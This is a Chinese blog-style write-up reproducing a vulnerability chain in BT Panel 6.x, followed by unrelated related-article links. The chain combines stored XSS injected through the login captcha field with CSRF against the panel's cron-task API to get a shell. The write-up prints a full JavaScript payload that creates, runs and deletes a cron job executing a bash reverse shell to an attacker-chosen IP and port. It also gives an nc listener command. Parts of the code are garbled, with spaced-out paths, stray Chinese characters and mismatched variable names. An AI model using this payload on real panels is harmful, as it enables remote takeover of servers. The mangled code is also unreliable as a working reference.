宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell
对于宝塔漏洞复现和练习
0×00 什么是宝塔面板
宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统。一键配置:LAMP / LNMP ,网站,数据库,FTP ,SSL,通过Web 端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。
0×01 漏洞成因
在6.x Linux 版本宝塔面板当中当中,相对与5.x 版本,记录了验证码错误并存入数据库当中,存储XSS缺陷就是在此处产生。 同时利用CSRF结合宝塔的计划任务反弹shell。
0×02 漏洞复现
首先访问后台,宝塔一般部署在8888 端口,
我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。

然后我们在登陆,在验证码处输入XSS 利用代码测试
<script>alert('xss')</ script>
通过账号密码登陆宝塔后台,点开安全模块。我们可以看到触发了弹窗
由于宝塔面板的计划任务功能可以执行shell 脚本,所以我们可以基于这个xss 结合csrf 在计划任务功能处执行反弹shell 。
我们利用xss 平台(http://xsspt.com )新建一个项目执行自定义的js 脚本,修改里面的你的ip 和端口,代码如下
function addTask(TaskName,execTime,ip,port){
var execShell ='bash -i>&/ dev / tcp / your_ip / your_port 0>&1';
execShell = encodeURIComponent(execShell);
var params ='name ='+ TaskName +'&type = minute-n&where1 ='+ execTime +'&hour =&minute =&week =&sType = toShell&sBody ='+ execShell +'&sName =&backupTo = localhost&save =&urladdress = undefined'
var xhr = new XMLHttpRequest();
xhr.open('POST','/ crontab?action = AddCrontab',false);
xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');
xhr.send(PARAMS);
}
function execTask(TaskName){
var xhr = new XMLHttpRequest();
xhr.open('POST','/ crontab?action = GetCrontab',true);
xhr.send();
xhr.onload = function(){
if(this.readyState == 4 && this.status == 200){
var res = JSON.parse(this.responseText);
if(res [0] .name == TaskName){
var TaskID = res [0] .id.toString();
var xhr = new XMLHttpRequest();
xhr.open('POST','/ crontab?action = StartTask',false);
xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');
var params ='id ='+ TaskID;
xhr.send(PARAMS);
delTask(RES [0] .ID);
的console.log(RES [0] .ID);
return res [0] .id;
}
}
}
}
function delTask(TaskID){
var params ='id ='+ TaskID.toString();
var xhr = new XMLHttpRequest();
xhr.open('POST','/ crontab?action = DelCrontab',false);
xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');
xhr.send(PARAMS);
}
var TaskName = Math.random()。toString(36).substring(7);
addTask(TASKNAME, '5', '1.1.1.1', '53');
execTask(TASKNAME);
在本地通过nc 监听反弹的端口,nc.exe -l -vv -p 反弹端口

在然后后台通过登陆面板的验证码处插入我们配置好的跨站网站脚本代码

在登陆宝塔后台面板,点开安全模块。我们可以看到壳成功反弹

宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell的更多相关文章
- 宝塔漏洞 XSS窃取宝塔面板管理员漏洞 高危
宝塔是近几年刚崛起的一款服务器面板,深受各大站长的喜欢,windows2003 windows2008windosws 2012系统,linux centos deepin debian fedora ...
- 宝塔面板,Typecho,Lsky Pro图床安装
宝塔面板,Typecho,Lsky Pro图床安装 本文安装包:链接:https://cloud.cangye.me/s/l3i4avjl 密码是宝塔面板4个汉字拼音首字母小写(防止被爬) 一,宝塔面 ...
- 宝塔面板设置腾迅COS自动备份网站
之前写了如何配置腾迅云COS并挂载到服务器中,今天看到宝塔面板中有腾迅云COS的插件,不过研究了下,只是将COS绑定在宝塔面板中,不能自动备份,需要用到宝塔的计划任务功能 1.下载腾迅云COS插件 2 ...
- 宝塔面板下安装zabbix
宝塔面板之前已经安装完成,如果不会可以查看上一个日志.接下来开始安装zabbix 1.添加系统用户和组 2. yum -y install epel-release #安装源 3.使用命令 yum - ...
- Vultr VPS建站攻略 – 一键安装宝塔面板架设LNMP/LAMP Web环境
我们选择VULTR VPS建站的还是比较多的,其主要原因在于商家的稳定,毕竟我们用来建站选择服务器价格考虑的不是主要的(当然VULTR价格也是比较便宜),最为主要的是因为VULTR商家比较稳定,而且多 ...
- 腾讯云服务器安装宝塔面板快速配置LNMP/LAMP网站系统
我们在选择购买腾讯云服务器之后,有部分用户肯定是用来建站用途的.毕竟云服务器的性能和功能比虚拟主机优秀很多.腾讯云服务器拥有香港.北京.广州.上海.美国等多个机房,可以安装Linux和Windows系 ...
- 宝塔面板 + Rancher + 阿里云镜像仓库 + Docker + Kubernetes,添加集群、部署 web 应用
目录 一,安装宝塔面板(V 6.8) 二,使用宝塔安装 Docker,配置阿里云容器服务 三,安装 Rancher (Server) 四,管理 Rancher.添加集群 五,添加 Rancher 应用 ...
- 关于宝塔面板windows版6.2的一些使用心得
关于宝塔面板windows版6.2的一些使用心得 第一次使用windows版本的 给客户搭建 asp+mssql的需求 心得1 安装 server2012 基于python开发的,所以安装的 ...
- Ubuntu宝塔面板设置网站 Apache Server API为Apache 2.0 Handler模式
用过宝塔面板(https://www.bt.cn)的谁用谁知道: 以下来自官网的介绍: “宝塔Linux面板是提升运维效率的服务器管理软件,支持一键LAMP/LNMP/集群/监控/网站/FTP/数据 ...
随机推荐
- Python基础(十一)
今日主要内容 补充:三目运算 f-strings 迭代器 生成器 补充:三目运算 三目运算(三元运算)结构: 表达式1 if 条件表达式 else 表达式2 c = a if a > b els ...
- 51 (OC) NSURLComponent 组成部分。
网页地址协议 url scheme
- PyCharm2019激活
PyCharm下载地址:https://www.jetbrains.com/pycharm/download/ 永久激活 这里主要介绍永久激活的方式,永久激活后,就可以放心使用了,一劳永逸,5分钟就能 ...
- filebeat相关registry文件内容解析
filebeat的registry文件中存放的是被采集的所有日志的相关信息. linux中registry中一条日志记录的内容如下 {"source":"/var/log ...
- 200行代码实现Mini ASP.NET Core
前言 在学习ASP.NET Core源码过程中,偶然看见蒋金楠老师的ASP.NET Core框架揭秘,不到200行代码实现了ASP.NET Core Mini框架,针对框架本质进行了讲解,受益匪浅,本 ...
- jenkins上下游工程以及空间占用处理
1.最近项目架构调整,把十几个java项目整合为一个大的项目,这样构建上游工程成功后下游工程会自动构建 解决如下:取消这个勾选即可 2.构建单个项目时,会把所有子工程都打包一次 解决如下:指定构建时的 ...
- 字符串转数字(with Java)
1. 字符串中提取数字 两个函数可以帮助我们从字符串中提取数字(整型.浮点型.字符型...). parseInt().parseFloat() valueOf() String str = " ...
- 品Spring:SpringBoot发起bean定义注册的“二次攻坚战”
上一篇文章整体非常轻松,因为在容器启动前,只注册了一个bean定义,就是SpringBoot的主类. OK,今天接着从容器的启动入手,找出剩余所有的bean定义的注册过程. 具体细节肯定会颇为复杂,同 ...
- Debezium SQL Server Source Connector+Kafka+Spark+MySQL 实时数据处理
写在前面 前段时间在实时获取SQLServer数据库变化时候,整个过程可谓是坎坷.然后就想在这里记录一下. 本文的技术栈: Debezium SQL Server Source Connector+K ...
- intellij idea 2018 激活
http://idea.toocruel.net http://active.chinapyg.com/ 2018-8-6可用 http://xdouble.cn:8888/ 2018年7月11号 测 ...